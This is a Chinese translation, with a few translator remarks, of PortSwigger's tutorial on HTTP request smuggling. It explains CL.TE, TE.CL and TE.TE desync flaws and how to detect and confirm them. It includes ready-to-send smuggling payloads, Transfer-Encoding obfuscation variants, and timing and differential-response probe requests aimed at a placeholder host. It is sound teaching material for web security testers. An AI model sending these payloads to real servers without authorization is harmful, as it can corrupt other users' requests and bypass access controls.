什么是Http请求走私(Http Request Smugging)及如何发现?

??翻译文章，原文：What is HTTP request smuggling?[1]

Http 请求走私

在本节中，我们将解释HTTP请求走私攻击，并描述如何产生常见的请求走私漏洞。

?什么是Http请求走私？

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。请求走私漏洞本质上通常很关键，它使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。

HTTP请求走私攻击会发生什么？

当今的Web应用程序经常在用户和最终的应用程序逻辑之间使用HTTP服务器链。用户将请求发送到前端服务器（有时称为负载平衡器或反向代理），并且该服务器将请求转发到一个或多个后端服务器。这种类型的体系结构在现代基于云的应用程序中越来越普遍，在某些情况下是不可避免的。

当前端服务器将HTTP请求转发到后端服务器时，它通常会通过同一后端网络连接发送多个请求，因为这样做效率更高且性能更高。该协议非常简单：HTTP请求一个接一个地发送，接收服务器解析HTTP请求标头以确定一个请求在哪里结束，下一个请求在哪里开始：

在这种情况下，至关重要的是前端和后端系统就请求之间的边界达成一致。否则，攻击者可能会发送一个模棱两可的请求，该请求被前端和后端系统以不同的方式解释：

在这里，攻击者使前端请求的一部分被后端服务器解释为下一个请求的开始。它实际上是在下一个请求之前，因此会干扰应用程序处理该请求的方式。这是请求走私攻击，可能会造成破坏性后果。

HTTP请求走私漏洞如何产生？

大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求的结束位置：Content-Length 标头和 Transfer-Encoding 标头。

Content-Length 标头很简单：它以字节为单位指定消息正文的长度。例如：

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

可以使用 Transfer-Encoding 标头指定邮件正文使用分块编码。这意味着消息正文包含一个或多个数据块。每个块均包含以字节为单位的块大小（以十六进制表示），其后是换行符，然后是块内容。该消息以大小为零的块终止。例如：

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

备注：这个地方我换个例子，更能看清楚，是Response值，如下：

HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

7\r\n
Mozilla\r\n
9\r\n
Developer\r\n
7\r\n
Network\r\n
0\r\n
\r\n

由于HTTP规范提供了两种不同的方法来指定HTTP消息的长度，因此单个消息可能会同时使用这两种方法，从而使它们彼此冲突。 HTTP规范试图通过指出如果同时存在Content-Length标头和Transfer-Encoding标头来防止此问题，则应该忽略Content-Length标头。 当仅使用一台服务器时，这足以避免歧义，但是当将两个或多个服务器链接在一起时，这并不能避免歧义。在这种情况下，可能会由于两个原因而出现问题：

?某些服务器在请求中不支持Transfer-Encoding标头

?如果以某种方式混淆了标头，则某些确实支持Transfer-Encoding标头的服务器将不被处理。

如果前端服务器和后端服务器在（可能是混淆的）Transfer-Encoding标头的行为不同，则它们可能在连续请求之间的边界上存在分歧，从而导致请求走私漏洞。

如何执行HTTP请求走私攻击

请求走私攻击涉及将Content-Length标头和Transfer-Encoding标头都放置在单个HTTP请求中，并对其进行处理，以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为：

?CL.TE：前端服务器使用Content-Length标头，而后端服务器使用Transfer-Encoding标头。

?TE.CL：前端服务器使用Transfer-Encoding标头，而后端服务器使用Content-Length标头。

?TE.TE：前端服务器和后端服务器都支持Transfer-Encoding标头，但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

CL.TE 漏洞

在这里，前端服务器使用Content-Length标头，而后端服务器使用Transfer-Encoding标头。我们可以执行以下简单的HTTP请求走私攻击：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器处理Content-Length标头，并确定请求主体的长度为13个字节，直至SMUGGLED的末尾。该请求被转发到后端服务器。

后端服务器处理Transfer-Encoding标头，因此将消息正文视为使用分块编码。它处理第一个块，该块被声明为零长度，因此被视为终止请求。接下来的字节SMUGGLED未经处理，后端服务器会将其视为序列中下一个请求的开始。

TE.CL漏洞

在这里，前端服务器使用Transfer-Encoding标头，而后端服务器使用Content-Length标头。我们可以执行以下简单的HTTP请求走私攻击：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

前端服务器处理Transfer-Encoding标头，因此将消息正文视为使用分块编码。它处理第一个块，声明为8个字节长，直到SMUGGLED之后的行的开始。它处理第二个数据块，该数据块的长度为零，因此被视为终止请求。该请求被转发到后端服务器。

后端服务器处理Content-Length标头，并确定请求主体的长度为3个字节，直到8之后的行的开头。接下来的字节（以SMUGGLED开头）未处理，后端服务器会将其视为序列中下一个请求的开始。

TE.TE行为：混淆TE头

在这里，前端服务器和后端服务器都支持Transfer-Encoding标头，但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。

可能存在无穷无尽的方式来混淆Transfer-Encoding标头。例如：

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都涉及到HTTP规范的微妙偏离。实现协议规范的实际代码很少以绝对的精度遵守协议规范，并且不同的实现通常会容忍规范的不同变化。要发现TE.TE漏洞，必须找到Transfer-Encoding标头的某些变体，以便仅前端服务器或后端服务器之一对其进行处理，而另一服务器将其忽略。

根据是否可以诱使前端服务器或后端服务器不处理混淆的Transfer-Encoding标头，攻击的其余部分将采用与CL.TE或TE.CL漏洞相同的形式。已经描述过了。

查找HTTP请求走私漏洞

在本节中，我们将解释用于发现HTTP请求走私漏洞的不同技术。

使用计时技术查找HTTP请求走私漏洞

检测HTTP请求走私漏洞的最普遍有效方法是发送请求，如果存在漏洞，该请求将导致应用程序响应中的时间延迟。Burp Scanner使用此技术来自动检测请求走私漏洞。

使用计时技术查找CL.TE漏洞

如果应用程序容易受到请求走私的CL.TE变体的攻击，则发送如下所示的请求通常会导致时间延迟：

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

由于前端服务器使用Content-Length标头，因此它将仅转发此请求的一部分，省略 X 。后端服务器使用Transfer-Encoding标头，处理第一个块，然后等待下一个块到达。这将导致明显的时间延迟。(注释：后端TE，发现没有数据结束，需要等待，就是没有0长度)

使用计时技术查找TE.CL漏洞

如果应用程序容易受到TE.CL变种的请求走私的攻击，则发送如下所示的请求通常会导致时间延迟：

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0


X

由于前端服务器使用Transfer-Encoding标头，因此它将只转发此请求的一部分，省略 X 。后端服务器使用Content-Length标头，期望消息正文中有更多内容，并等待剩余内容到达。这将导致明显的时间延迟。

使用差异响应确认HTTP请求走私漏洞

当检测到可能的请求走私漏洞时，您可以利用该漏洞触发应用程序响应内容的差异来获取该漏洞的进一步证据。这涉及快速连续地向应用程序发送两个请求：

?一种“攻击”请求，旨在干扰下一个请求的处理。?“正常”请求。

如果对正常请求的响应包含预期的干扰，则确认漏洞。例如，假设正常请求如下所示：

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

该请求通常会收到状态码为200的HTTP响应，其中包含一些搜索结果。干扰此请求所需的攻击请求取决于存在的请求走私形式：CL.TE与TE.CL。

使用差异响应确认CL.TE漏洞

要确认CL.TE漏洞，您可以发送如下攻击请求：

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked

e
q=smuggling&x=
0


GET /404 HTTP/1.1
Foo: x

如果攻击成功，则后端服务器会将此请求的最后两行视为属于接收到的下一个请求。这将导致随后的“正常”请求如下所示：

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于此请求现在包含无效的URL，因此服务器将以状态代码404进行响应，指示攻击请求确实确实在干扰它。

使用差分响应确认TE.CL漏洞

要确认TE.CL漏洞，您将发送如下攻击请求：

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功，则后端服务器将从GET / 404以后的所有内容都视为属于收到的下一个请求。这将导致随后的“正常”请求如下所示：

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

注意：在文中所有的请求的地方，空行使用都是必须的

References

[1] What is HTTP request smuggling?: https://portswigger.net/web-security/request-smuggling